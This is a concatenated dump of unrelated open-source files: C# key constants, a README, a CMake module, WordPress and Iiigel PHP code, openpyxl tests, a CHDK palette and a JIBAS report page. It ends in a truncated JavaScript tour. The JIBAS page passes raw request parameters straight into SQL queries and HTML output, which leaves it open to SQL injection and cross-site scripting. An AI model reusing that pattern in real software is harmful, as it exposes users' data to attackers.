0xB0; private const int VK_MEDIA_PREV_TRACK = 0xB1; private const int VK_MEDIA_STOP = 0xB2; private const int VK_MEDIA_PLAY_PAUSE = 0xB3; private const int VK_LAUNCH_MAIL = 0xB4; private const int VK_LAUNCH_MEDIA_SELECT= 0xB5; private const int VK_LAUNCH_APP1 = 0xB6; private const int VK_LAUNCH_APP2 = 0xB7; /* * 0xB8 - 0xB9 : reserved */ private const int VK_OEM_1 = 0xBA; // ';:' for US private const int VK_OEM_PLUS = 0xBB; // '+' any country private const int VK_OEM_COMMA = 0xBC; // ',' any country private const int VK_OEM_MINUS = 0xBD; // '-' any country private const int VK_OEM_PERIOD = 0xBE; // '.' any country private const int VK_OEM_2 = 0xBF; // '/?' for US private const int VK_OEM_3 = 0xC0; // '`~' for US /* * 0xC1 - 0xD7 : reserved */ /* * 0xD8 - 0xDA : unassigned */ private const int VK_OEM_4 = 0xDB; // '[{' for US private const int VK_OEM_5 = 0xDC; // '\|' for US private const int VK_OEM_6 = 0xDD; // ']}' for US private const int VK_OEM_7 = 0xDE; // ''"' for US private const int VK_OEM_8 = 0xDF; /* * 0xE0 : reserved */ /* * Various extended or enhanced keyboards */ private const int VK_OEM_AX = 0xE1; // 'AX' key on Japanese AX kbd private const int VK_OEM_102 = 0xE2; // "<>" or "\|" on RT 102-key kbd. private const int VK_ICO_HELP = 0xE3; // Help key on ICO private const int VK_ICO_00 = 0xE4; // 00 key on ICO /* * 0xE8 : unassigned */ /* * Nokia/Ericsson definitions */ private const int VK_OEM_RESET = 0xE9; private const int VK_OEM_JUMP = 0xEA; private const int VK_OEM_PA1 = 0xEB; private const int VK_OEM_PA2 = 0xEC; private const int VK_OEM_PA3 = 0xED; private const int VK_OEM_WSCTRL = 0xEE; private const int VK_OEM_CUSEL = 0xEF; private const int VK_OEM_ATTN = 0xF0; private const int VK_OEM_FINISH = 0xF1; private const int VK_OEM_COPY = 0xF2; private const int VK_OEM_AUTO = 0xF3; private const int VK_OEM_ENLW = 0xF4; private const int VK_OEM_BACKTAB = 0xF5; private const int VK_ATTN = 0xF6; private const int VK_CRSEL = 0xF7; private const int VK_EXSEL = 0xF8; private const int VK_EREOF = 0xF9; private const int VK_PLAY = 0xFA; private const int VK_ZOOM = 0xFB; private const int VK_NONAME = 0xFC; private const int VK_PA1 = 0xFD; private const int VK_OEM_CLEAR = 0xFE; } }
mdavid/IKVM.NET-cvs-clone
awt/robot.cs
C#
gpl-2.0
14,656
# vertx-microsrv-poc This is yet another study project # Implementation notes ## Multiple instances of a listing Verticle When deploying multiple time a Vertice listing to a TCP socket (ie. more than 1 instances), vert.x will implement a (non-strict) round robin among your verticles. https://groups.google.com/d/msg/vertx/IzyurInyaRE/InYHPs3UBwAJ
proudier/vertx-microsrv-poc
README.md
Markdown
gpl-2.0
351
# - Try to find the GLIB2 libraries # Once done this will define # # GLIB2_FOUND - system has glib2 # GLIB2_INCLUDE_DIR - the glib2 include directory # GLIB2_LIBRARIES - glib2 library # Copyright (c) 2008 Laurent Montel, <[email protected]> # # Redistribution and use is allowed according to the terms of the BSD license. # For details see the accompanying COPYING-CMAKE-SCRIPTS file. if(GLIB2_INCLUDE_DIR AND GLIB2_LIBRARIES) # Already in cache, be silent set(GLIB2_FIND_QUIETLY TRUE) endif(GLIB2_INCLUDE_DIR AND GLIB2_LIBRARIES) if (NOT WIN32) find_package(PkgConfig REQUIRED) pkg_check_modules(PKG_GLIB REQUIRED glib-2.0) endif(NOT WIN32) find_path(GLIB2_MAIN_INCLUDE_DIR glib.h PATH_SUFFIXES glib-2.0 PATHS ${PKG_GLIB_INCLUDE_DIRS} ) # search the glibconfig.h include dir under the same root where the library is found find_library(GLIB2_LIBRARIES NAMES glib-2.0 PATHS ${PKG_GLIB_LIBRARY_DIRS} ) find_path(GLIB2_INTERNAL_INCLUDE_DIR glibconfig.h PATH_SUFFIXES glib-2.0/include ../lib/glib-2.0/include PATHS ${PKG_GLIB_INCLUDE_DIRS} ${PKG_GLIB_LIBRARIES} ${CMAKE_SYSTEM_LIBRARY_PATH}) set(GLIB2_INCLUDE_DIR ${GLIB2_MAIN_INCLUDE_DIR}) # not sure if this include dir is optional or required # for now it is optional if(GLIB2_INTERNAL_INCLUDE_DIR) set(GLIB2_INCLUDE_DIR ${GLIB2_INCLUDE_DIR} ${GLIB2_INTERNAL_INCLUDE_DIR}) endif(GLIB2_INTERNAL_INCLUDE_DIR) include(FindPackageHandleStandardArgs) find_package_handle_standard_args(GLIB2 DEFAULT_MSG GLIB2_LIBRARIES GLIB2_MAIN_INCLUDE_DIR) mark_as_advanced(GLIB2_INCLUDE_DIR GLIB2_LIBRARIES)
detrout/kamoso
cmake/FindGLIB2.cmake
CMake
gpl-2.0
1,634
<?php class WCML_sensei{ function __construct(){ global $sitepress; add_action( 'manage_edit-lesson_columns', array( $sitepress, 'add_posts_management_column' ) ); add_action( 'manage_edit-course_columns', array( $sitepress, 'add_posts_management_column' ) ); add_action( 'save_post', array( $this, 'save_post_actions' ), 100, 2 ); add_action( 'sensei_log_activity_after', array( $this, 'log_activity_after' ), 10, 3 ); add_filter( 'sensei_bought_product_id', array( $this, 'filter_bought_product_id' ), 10, 2 ); add_action( 'delete_comment', array( $this, 'delete_user_activity' ) ); add_action( 'pre_get_comments', array( $this, 'pre_get_comments') ); } function save_post_actions( $post_id, $post ){ global $sitepress; // skip not related post types if ( !in_array( $post->post_type , array( 'lesson', 'course', 'quiz' ) ) ) { return; } // skip auto-drafts if ( $post->post_status == 'auto-draft' ) { return; } // skip autosave if ( isset( $_POST[ 'autosave' ] ) ) { return; } if( $post->post_type == 'quiz' && isset( $_POST[ 'ID' ] ) ){ $this->save_post_actions( $_POST[ 'ID' ], get_post( $_POST[ 'ID' ] ) ); } // sync fields from original $trid = $sitepress->get_element_trid( $post_id, 'post_' . $post->post_type ); $translations = $sitepress->get_element_translations( $trid, 'post_' . $post->post_type ); if ( !empty( $translations ) ) { $original_post_id = false; foreach ( $translations as $t ) { if ( $t->original ) { $original_post_id = $t->element_id; break; } } if ( $post_id != $original_post_id ) { $this->sync_custom_fields( $original_post_id, $post_id, $post->post_type ); } else { foreach ( $translations as $t ) { if ( $original_post_id != $t->element_id ) { $this->sync_custom_fields( $original_post_id, $t->element_id, $post->post_type ); } } } } } function sync_custom_fields ( $original_post_id, $post_id, $post_type ){ global $sitepress; $language = $sitepress->get_language_for_element( $post_id, 'post_'.$post_type ); if( $post_type == 'quiz' ){ //sync quiz lesson $lesson_id = get_post_meta( $original_post_id, '_quiz_lesson', true ); if( $lesson_id ){ $tr_lesson_id = apply_filters( 'translate_object_id', $lesson_id, 'post_lesson', false, $language ); if( !is_null( $tr_lesson_id ) ){ update_post_meta( $post_id, '_quiz_lesson', $tr_lesson_id ); } }else{ delete_post_meta( $post_id, '_quiz_lesson' ); } } elseif( $post_type == 'lesson' ){ //sync lesson course $course_id = get_post_meta( $original_post_id, '_lesson_course', true ); if( $course_id ){ $tr_course_id = apply_filters( 'translate_object_id', $course_id, 'post_course', false, $language ); if( !is_null( $tr_course_id ) ){ update_post_meta( $post_id, '_lesson_course', $tr_course_id ); } }else{ delete_post_meta( $post_id, '_lesson_course' ); } //sync lesson prerequisite $lesson_id = get_post_meta( $original_post_id, '_lesson_prerequisite', true ); if( $lesson_id ){ $tr_lesson_id = apply_filters( 'translate_object_id', $lesson_id, 'post_lesson', false, $language ); if( !is_null( $tr_lesson_id ) ){ update_post_meta( $post_id, '_lesson_prerequisite', $tr_lesson_id ); } }else{ delete_post_meta( $post_id, '_lesson_prerequisite' ); } }else{ //sync course woocommerce_product $product_id = get_post_meta( $original_post_id, '_course_woocommerce_product', true ); if( $product_id ){ $tr_product_id = apply_filters( 'translate_object_id', $product_id, 'post_product', false, $language ); if( !is_null( $tr_product_id ) ){ update_post_meta( $post_id, '_course_woocommerce_product', $tr_product_id ); } }else{ delete_post_meta( $post_id, '_course_woocommerce_product' ); } //sync course prerequisite $course_id = get_post_meta( $original_post_id, '_course_prerequisite', true ); if( $course_id ){ $tr_course_id = apply_filters( 'translate_object_id', $course_id, 'post_course', false, $language ); if( !is_null( $tr_course_id ) ){ update_post_meta( $post_id, '_course_prerequisite', $tr_course_id ); } }else{ delete_post_meta( $post_id, '_course_prerequisite' ); } } } function log_activity_after ( $args, $data, $comment_id ){ global $sitepress; $comment_post_id = $data['comment_post_ID']; $trid = $sitepress->get_element_trid( $comment_post_id, 'post_'.get_post_type( $comment_post_id ) ); $translations = $sitepress->get_element_translations( $trid, 'post_'.get_post_type( $comment_post_id ) ); foreach($translations as $translation){ if( $comment_post_id != $translation->element_id ){ $data['comment_post_ID'] = $translation->element_id; $trid = $sitepress->get_element_trid( $comment_id, 'comment' ); $tr_comment_id = apply_filters( 'translate_object_id', $comment_id, 'comment', false, $translation->language_code ); if ( isset( $args['action'] ) && 'update' == $args['action'] && !is_null( $tr_comment_id ) && get_comment( $tr_comment_id ) ) { $data['comment_ID'] = $tr_comment_id; $tr_comment_id = wp_update_comment( $data ); }else{ $tr_comment_id = wp_insert_comment( $data ); $sitepress->set_element_language_details( $tr_comment_id, 'comment', $trid, $translation->language_code ); } } } } function filter_bought_product_id( $product_id, $order ){ $order_language = get_post_meta( $order->id, 'wpml_language', true ); $tr_product_id = apply_filters( 'translate_object_id', $product_id, 'post_'.get_post_type( $product_id ), false, $order_language ); if( !is_null( $tr_product_id ) ){ return $tr_product_id; }else{ return $product_id; } } function delete_user_activity ( $comment_id ){ global $sitepress; $comment_type = get_comment_type( $comment_id ); if( strstr( $comment_type, "sensei" ) ){ $trid = $sitepress->get_element_trid( $comment_id, 'comment' ); $translations = $sitepress->get_element_translations( $trid, 'comment' ); remove_action( 'delete_comment', array ( $this, 'delete_user_activity' ) ); foreach ( $translations as $translation ){ if( $comment_id != $translation->element_id ){ wp_delete_comment( $translation->element_id, true ); } } } } function pre_get_comments($obj){ global $sitepress; if( $obj->query_vars[ 'type' ] == 'sensei_course_start' ){ remove_filter( 'comments_clauses', array( $sitepress, 'comments_clauses' ), 10, 2 ); } } }
SasaKlepikov/Syberg.eu
wp-content/plugins/woocommerce-multilingual/compatibility/wc_sensei.class.php
PHP
gpl-2.0
7,952
# Copyright (c) 2010-2015 openpyxl # package imports from openpyxl.reader.strings import read_string_table from openpyxl.tests.helper import compare_xml def test_read_string_table(datadir): datadir.join('reader').chdir() src = 'sharedStrings.xml' with open(src) as content: assert read_string_table(content.read()) == [ 'This is cell A1 in Sheet 1', 'This is cell G5'] def test_empty_string(datadir): datadir.join('reader').chdir() src = 'sharedStrings-emptystring.xml' with open(src) as content: assert read_string_table(content.read()) == ['Testing empty cell', ''] def test_formatted_string_table(datadir): datadir.join('reader').chdir() src = 'shared-strings-rich.xml' with open(src) as content: assert read_string_table(content.read()) == [ 'Welcome', 'to the best shop in town', " let's play "] def test_write_string_table(datadir): from openpyxl.writer.strings import write_string_table datadir.join("reader").chdir() table = ['This is cell A1 in Sheet 1', 'This is cell G5'] content = write_string_table(table) with open('sharedStrings.xml') as expected: diff = compare_xml(content, expected.read()) assert diff is None, diff
maheshcn/memory-usage-from-ldfile
openpyxl/tests/test_strings.py
Python
gpl-2.0
1,270
<?php namespace Iiigel\Controller; class Iiigel extends \Iiigel\Controller\StaticPage { const DEFAULT_ACTION = 'show'; protected $sRawOutput = NULL; protected $oCloud = NULL; protected $oInterpreter = NULL; protected $oChapter = NULL; protected $oModule = NULL; public function __construct() { if(!isset($GLOBALS['oUserLogin'])) { throw new \Exception(_('error.permission')); } parent::__construct(); $this->oCloud = new \Iiigel\Model\Cloud(); } /** * Loads an environment (= module, chapter and interpreter) based on a given hash (either module hash or chapter hash). * * @param string [$_sHashId = ''] module or chapter hashed ID * @return boolean true if successfully loaded */ protected function loadEnvironment($_sHashId = '') { $this->oChapter = $this->oModule = NULL; if($_sHashId{0} == 'm') { $this->oModule = new \Iiigel\Model\Module($_sHashId); $nCurrentChapter = $this->oModule->nCurrentChapter; if ($nCurrentChapter == 0) { $this->oChapter = new \Iiigel\Model\Chapter(); $oResult = $this->oChapter->getList($this->oModule->nId); if(($aRow = $GLOBALS['oDb']->get($oResult))) { $this->oChapter = new \Iiigel\Model\Chapter($aRow['sHashId']); } else { $this->oChapter = NULL; } } else { $this->oChapter = new \Iiigel\Model\Chapter($nCurrentChapter); } } else { $aTemp = array(); foreach ($this->oView->aCheckedHandins as $oRow) { if ($oRow['sLearn'] !== $_sHashId) { $aTemp[] = $oRow; } } $this->oView->aCheckedHandins = $aTemp; $this->oChapter = new \Iiigel\Model\Chapter($_sHashId); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); } if($this->oModule->nId > 0 && $this->oChapter !== NULL) { if($this->oChapter->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$this->oChapter->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } } return TRUE; } else { return FALSE; } } /** * Output rendered static HTML page. * * @return string HTML code */ public function output() { return ($GLOBALS['bAjax'] && $this->sRawOutput !== NULL) ? $this->sRawOutput : $this->oView->render(); } /** * Display the main module training view. * * @param string $_sHashId if module ID, first chapter of this module is shown; if chapter ID, this chapter is shown */ public function show($_sHashId = '') { if($this->loadEnvironment($_sHashId)) { //check if current user is in this module //load module data (incl. chapter) $this->oView->oModule = $this->oModule; $this->oChapter->sText = $this->oChapter->replaceTags( $this->oChapter->sText); $this->oView->oChapter = $this->oChapter; $this->oView->nEditorWaitTime = $GLOBALS['aConfig']['nEditorWaitTime']; $this->oView->bHandin = FALSE; $this->oView->oHandin = NULL; $this->oView->icurrentuserprogress = $this->oModule->getCurrentChapterProgressOrder($GLOBALS['oUserLogin']->nId); $this->loadFile('iiigel'); } else { throw new \Exception(sprintf(_('error.objectload'), $_sHashId)); } } public function lookAtHandin($_sHashId) { $aTemp = array(); foreach ($this->oView->aReviewHandins as $oRow) { if ($oRow['sHashId'] !== $_sHashId) { $aTemp[] = $oRow; } } $this->oView->aReviewHandins = $aTemp; $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $this->oCloud = new \Iiigel\Model\Cloud(intval($oHandin->nIdCreator)); $this->oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); if($oHandin->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$oHandin->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } $this->oView->oModule = $this->oModule; $this->oChapter->sText = $this->oChapter->replaceTags( $this->oChapter->sText); $this->oView->oChapter = $this->oChapter; $this->oView->nEditorWaitTime = $GLOBALS['aConfig']['nEditorWaitTime']; $this->oView->bHandin = TRUE; $this->oView->oHandin = $oHandin; $this->loadFile('iiigel'); } else { throw new \Exception(sprintf(_('error.objectload'), $_sHashId)); } } else { throw new \Exception(_('error.permission')); } } /** * Loads cloud and sets ->sRawOutput accordingly. */ public function cloud() { $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Interpretes a specific file within a specific chapter. Sets any (HTML) output into ->sRawOutput (without doctype, html, head, body tags). * * @param string $_sHashIdFile hash ID of element to interpret * @param string $_sHashIdChapter hash ID of chapter to be interpreted in (important for correct interpreter) * @param string $_sHashIdHandin hash ID of handin to set interpreter and finding file-content */ public function interpret($_sHashIdFile, $_sHashIdChapter, $_sHashIdHandin = '') { if (strlen($_sHashIdChapter) > 0) { if($this->loadEnvironment($_sHashIdChapter)) { if(($oFile = $this->oCloud->loadFile($_sHashIdFile))) { $this->sRawOutput = $this->oInterpreter->interpret($oFile); return; } } else { throw new \Exception($_sHashIdFile." - ".$_sHashIdChapter); } } else if (strlen($_sHashIdHandin) > 0) { $oHandin = new \Iiigel\Model\Handin($_sHashIdHandin); $this->oCloud = new \Iiigel\Model\Cloud(intval($oHandin->nIdCreator)); $this->oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $this->oModule = new \Iiigel\Model\Module(intval($this->oChapter->nIdModule)); if($oHandin->sInterpreter !== NULL) { $sInterpreter = '\\Iiigel\\View\\Interpreter\\'.$oHandin->sInterpreter; if(class_exists($sInterpreter)) { $this->oInterpreter = new $sInterpreter($this->oCloud); } else { $this->oInterpreter = new \Iiigel\View\Interpreter\File($this->oCloud); } if(($oFile = $this->oCloud->loadFile($_sHashIdFile))) { $this->sRawOutput = $this->oInterpreter->interpret($oFile); return; } } else { throw new \Exception($_sHashIdFile." - ".$_sHashIdHandin); } } throw new \Exception(_('error.filenotfound')); } /** * Open a specific file. Sets File() object to ->sRawOutput, allowing to manually redirect in case the MIME type is not text/... * * @param string $_sHashId hash ID of element to open */ public function open($_sHashId) { $this->sRawOutput = json_encode($this->oCloud->loadFile($_sHashId)->getCompleteEntry(TRUE)); } /** * Closes file. * * @param string $_sHashId hash ID of element to close */ public function close($_sHashId) { $this->sRawOutput = $this->oCloud->closeFile($_sHashId); } /** * Save a file's new contents. Does output TRUE on success. * * @param string $_sHashId hash ID of element to be updated * @param string $_sContent new contents */ public function update($_sHashId, $_sContent) { $oFile = $this->oCloud->loadFile($_sHashId); $oFile->sFile = $_sContent; $this->sRawOutput = $oFile->update(); } /** * Create a new file (empty) and returns the new cloud structure. * * @param string $_sHashIdParent hash ID of parent element, if invalid/NULL/empty, element is put to root element * @param string $_sName new file's name */ public function createFile($_sHashIdParent, $_sName) { if($this->oCloud->createFile($_sName, new \Iiigel\Model\Folder($_sHashIdParent, $this->oCloud))) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.create'); } } /** * Create a new directory (empty) and returns the new cloud structure. * * @param string $_sHashIdParent hash ID of parent element, if invalid/NULL/empty, element is put to root element * @param string $_sName new folder's name */ public function createDir($_sHashIdParent, $_sName) { if($this->oCloud->createFolder($_sName, new \Iiigel\Model\Folder($_sHashIdParent, $this->oCloud))) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.create'); } } /** * Renames any element (either file or folder). Returns new cloud structure. * * @param string $_sHashId hash ID of element to be renamed * @param string $_sNewName new name */ public function rename($_sHashId, $_sNewName) { if($this->oCloud->rename($_sHashId, $_sNewName)) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = _('error.update'); } } /** * Deletes any element (either file or folder). If folder, all child elements are deleted as well. Returns new cloud structure. * * @param string $_sHashId hash ID of element to be deleted */ public function delete($_sHashId) { if($this->oCloud->delete($_sHashId)) { $this->sRawOutput = json_encode($this->oCloud->get()); } else { $this->sRawOutput = sprintf(_('error.delete'), 'Cloud', $_sHashId); } } /** * Presents a file/folder for download. Uses HTTP headers and dies afterwards. * If element to be downloaded is a folder, this folder gets zip'ed and presented for download. * * @param string $_sHashId hash ID of element to download */ public function download($_sHashId) { //DOWNLOAD a file (presented as download) or ZIP&DOWNLOAD a folder (presented as download) //die() afterwards $oFile = $this->oCloud->loadFile($_sHashId); if ($oFile !== NULL) { $aEntry = $oFile->getCompleteEntry(TRUE); $this->oCloud->closeFile($_sHashId); if ($aEntry['bFilesystem']) { if ($aEntry['sType'] === 'folder') { // ... ZIP } else if (strpos($aEntry['sType'], 'text') !== 0) { $this->redirect($aEntry['sFile'].'?a=download'); } } header('Cache-Control: no-cache, must-revalidate'); header('Expires: Sat, 26 Jul 1997 05:00:00 GMT'); header('Content-Type: '.$aEntry['sType']); header('Content-Length: '.strlen($aEntry['sFile'])); header('Content-Disposition: attachment; filename="'.$aEntry['sName'].'"'); die($aEntry['sFile']); } } /** * Upload a file from the local machine. * * @param string $_sHashId hash ID of folder into which files should be loaded */ public function uploadFromHost($_sHashId) { $oUpload = new \Iiigel\Generic\Upload(); foreach ($oUpload->getFiles() as $sKey => $aFile) { $this->oCloud->uploadFile($aFile, new \Iiigel\Model\Folder($_sHashId, $this->oCloud)); } $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Upload a file from the web. * * @param string $_sHashId hash ID of folder into which files should be loaded * @param string $_sUrl URL to be included */ public function uploadFromUrl($_sHashId, $_sUrl) { //PUSH file_get_contents or curl into cloud from current folder $this->sRawOutput = json_encode($this->oCloud->get()); } /** * Submit a handin for the current chapter. */ public function submit($_sHashIdChapter) { if ($this->loadEnvironment($_sHashIdChapter)) { $sState = $this->oCloud->getCurrentState(); $nIdUser = $GLOBALS['oDb']->escape($GLOBALS['oUserLogin']->nId); $nIdModule = $GLOBALS['oDb']->escape($this->oModule->nId); $nIdChapter = $GLOBALS['oDb']->escape($this->oChapter->nId); $oResult = $GLOBALS['oDb']->query('SELECT user2group.nIdGroup AS nIdGroup FROM user2group, chapter WHERE NOT user2group.bDeleted AND user2group.nIdUser = '.$nIdUser.' AND user2group.nIdModule = '.$nIdModule.' AND user2group.nIdChapter = chapter.nId AND chapter.nId = '.$nIdChapter.' ORDER BY chapter.nOrder DESC LIMIT 1;'); if ($GLOBALS['oDb']->count($oResult) > 0) { if ($aRow = $GLOBALS['oDb']->get($oResult)) { $oResult = $GLOBALS['oDb']->query('SELECT * FROM handin WHERE nIdCreator = '.$nIdUser.' AND nIdGroup = '.$GLOBALS['oDb']->escape($aRow['nIdGroup']).' AND nIdChapter = '.$nIdChapter.' LIMIT 1;'); if ($GLOBALS['oDb']->count($oResult) > 0) { $oHandin = new \Iiigel\Model\Handin($GLOBALS['oDb']->get($oResult)); $oHandin->bCurrentlyUnderReview = !$oHandin->bCurrentlyUnderReview; if ($oHandin->update()) { $this->sRawOutput = $sState; } } else { $oHandin = new \Iiigel\Model\Handin(array( "nIdGroup" => $aRow['nIdGroup'], "nIdChapter" => $this->oChapter->nId, "sInterpreter" => $this->oChapter->sInterpreter, "sCloud" => $sState )); if ($oHandin->create() !== NULL) { $this->sRawOutput = $sState; } } } } } } /** * Accepts a handin for the current chapter. */ public function accept($_sHashId) { $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $oChapter = new \Iiigel\Model\Chapter(intval($oHandin->nIdChapter)); $nOrder = $GLOBALS['oDb']->escape($oChapter->nOrder); $nIdModule = $GLOBALS['oDb']->escape($oChapter->nIdModule); $nIdUser = $GLOBALS['oDb']->escape($oHandin->nIdCreator); $nIdGroup = $GLOBALS['oDb']->escape($oGroup->nId); $GLOBALS['oDb']->query('UPDATE `user2group` SET `nIdChapter` = (SELECT `nId` FROM `chapter` WHERE NOT `bDeleted` AND `bLive` AND `nOrder` > '.$nOrder.' AND `nIdModule` = '.$nIdModule.' ORDER BY `nOrder` ASC LIMIT 1) WHERE NOT `bDeleted` AND `nIdUser` = '.$nIdUser.' AND `nIdGroup` = '.$nIdGroup.';'); $this->sRawOutput = ($oHandin->delete()? 'y' : 'n'); } else { throw new \Exception(_('error.permission')); } } /** * Denies a handin for the current chapter. */ public function deny($_sHashId) { $oHandin = new \Iiigel\Model\Handin($_sHashId); $oGroup = new \Iiigel\Model\Group(intval($oHandin->nIdGroup)); if ($this->hasGroupEditPermission($oGroup->sHashId)) { $oHandin->bCurrentlyUnderReview = !$oHandin->bCurrentlyUnderReview; $oHandin->nRound += 1; $this->sRawOutput = ($oHandin->update()? 'y' : 'n'); } else { throw new \Exception(_('error.permission')); } } } ?>
MarHai/iiigel
src/Controller/Iiigel.php
PHP
gpl-2.0
16,286
// CHDK palette colors for the s90 // Define color values as needed in this file. #include "palette.h" #include "platform_palette.h" // Playback mode colors unsigned char ply_colors[] = { COLOR_TRANSPARENT, // Placeholder for script colors COLOR_BLACK, // Placeholder for script colors 0x01, // White 0x2B, // Red 0x29, // Dark Red 0x1E, // Light Red 0x99, // Green 0x25, // Dark Green 0x51, // Light Green 0xA1, // Blue 0xA1, // Dark Blue 0xA9, // Light Blue / Cyan 0x17, // Grey 0x61, // Dark Grey 0x16, // Light Grey 0x9A, // Yellow 0x6F, // Dark Yellow 0x66, // Light Yellow 0x61, // Transparent Dark Grey COLOR_BLACK, // Magenta }; // Record mode colors unsigned char rec_colors[] = { COLOR_TRANSPARENT, // Placeholder for script colors COLOR_BLACK, // Placeholder for script colors 0x01, // White 0x2B, // Red 0x29, // Dark Red 0x1E, // Light Red 0x99, // Green 0x25, // Dark Green 0x51, // Light Green 0xA1, // Blue 0xA1, // Dark Blue 0xA9, // Light Blue / Cyan 0x17, // Grey 0x61, // Dark Grey 0x16, // Light Grey 0x9A, // Yellow 0x6F, // Dark Yellow 0x66, // Light Yellow 0x61, // Transparent Dark Grey COLOR_BLACK, // Magenta };
c10ud/CHDK
platform/s90/platform_palette.c
C
gpl-2.0
2,303
<? /**[N]** * JIBAS Education Community * Jaringan Informasi Bersama Antar Sekolah * * @version: 3.2 (September 03, 2013) * @notes: JIBAS Education Community will be managed by Yayasan Indonesia Membaca (http://www.indonesiamembaca.net) * * Copyright (C) 2009 Yayasan Indonesia Membaca (http://www.indonesiamembaca.net) * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License **[N]**/ ?> <? require_once('../include/errorhandler.php'); require_once('../include/sessioninfo.php'); require_once('../include/common.php'); require_once('../include/config.php'); require_once('../include/db_functions.php'); require_once('../library/departemen.php'); require_once('../include/getheader.php'); $departemen=$_REQUEST['departemen']; $tahunawal=$_REQUEST['tahunawal']; $tahunakhir=$_REQUEST['tahunakhir']; OpenDb(); ?> <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN" "http://www.w3.org/TR/html4/loose.dtd"> <html> <head> <title>Untitled Document</title> <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1"> <link href="../style/style.css" rel="stylesheet" type="text/css"> <style type="text/css"> <!-- .style2 { font-size: 24px; font-weight: bold; } --> </style><script language="javascript" src="../script/tables.js"></script></head> <body> <table width="100%" border="0"> <tr> <td><?=getHeader($departemen)?></td> </tr> <tr> <td> <p align="center"><strong>STATISTIK MUTASI SISWA</strong><br> <strong>TAHUN : <?=$tahunawal?> s/d <?=$tahunakhir?> </strong><br> <br> <img src="gambar_statistik.php?departemen=<?=$departemen?>&tahunakhir=<?=$tahunakhir?>&tahunawal=<?=$tahunawal?>" ></p> <table width="100%" border="1" align="center" cellpadding="3" cellspacing="0" class="tab" bordercolor="#000000"> <tr class="header"> <td width="5" height="30" align="center">No</td> <td width="54%" height="30" align="center">Jenis Mutasi</td> <td width="31%" height="30">Jumlah </td> </tr> <? $sql1="SELECT * FROM jbsakad.jenismutasi ORDER BY replid"; $result1=QueryDb($sql1); $cnt=1; while ($row1=@mysql_fetch_array($result1)){ $sql2="SELECT COUNT(*) FROM jbsakad.mutasisiswa m,jbsakad.siswa s,jbsakad.kelas k,jbsakad.tahunajaran ta,jbsakad.tingkat ti WHERE s.idkelas=k.replid AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND ti.departemen='$departemen' AND ta.departemen='$departemen' AND s.statusmutasi='$row1[replid]' AND m.jenismutasi='$row1[replid]' AND s.statusmutasi=m.jenismutasi AND m.nis=s.nis"; $result2=QueryDb($sql2); $row2=@mysql_fetch_row($result2); ?> <tr><td><?=$cnt?></td><td><?=$row1[jenismutasi]?></td><td><?=$row2[0]?>&nbsp;siswa</td></tr> <? $sql3="SELECT COUNT(*),YEAR(m.tglmutasi) FROM mutasisiswa m,siswa s,kelas k,tingkat ti,tahunajaran ta WHERE m.jenismutasi='$row1[replid]' AND YEAR(m.tglmutasi)<='$tahunakhir' AND YEAR(m.tglmutasi)>='$tahunawal' AND m.nis=s.nis AND k.idtahunajaran=ta.replid AND k.idtingkat=ti.replid AND s.idkelas=k.replid AND ta.departemen='$departemen' AND ti.departemen='$departemen' GROUP BY YEAR(m.tglmutasi)"; $result3=QueryDb($sql3); while ($row3=@mysql_fetch_row($result3)){ ?> <tr><td>&nbsp;</td><td>-&nbsp;<?=$row3[1]?></td><td><?=$row3[0]?>&nbsp;siswa</td></tr> <? } $cnt++; } ?> </table> </td> </tr> </table> <script language="javascript"> window.print(); </script> </body> </html>
nurulimamnotes/sistem-informasi-sekolah
jibas/akademik/mutasi/cetak_statistik_mutasi.php
PHP
gpl-2.0
3,993
define(['jquery', 'util.tooltips', 'helper.boxes', 'modules/panel'], function($, tooltips, panel) { /* Grid */ tourStepsGrid = [ { beginning: true, title: 'Welcome to the Blox Visual Editor!', content: '<p>If this is your first time in the Blox Visual Editor, <strong>we recommend following this tour so you can get the most out of Blox</strong>.</p><p>Or, if you\'re experienced or want to dive in right away, just click the close button in the top right at any time.</p>' }, { target: $('li#mode-grid'), title: 'Mode Selector', content: '<p>The Blox Visual Editor is split up into 2 modes.</p><p><ul><li><strong>Grid</strong> &ndash; Build your layouts</li><li><strong>Design</strong> &ndash; Add colors, customize fonts, and more!</li></ul></p>', position: { my: 'top left', at: 'bottom center' } }, { target: $('#layout-selector-select-content'), title: 'Layout Selector', content: '<p style="font-size:12px;">Since you may not want every page to be the same, you may use the Layout Selector to select which page, post, or archive to edit.</p><p style="font-size:12px;">The Layout Selector is based off of inheritance. For example, you can customize the "Page" layout and all pages will follow that layout. Plus, you can customize a specific page and it\'ll be 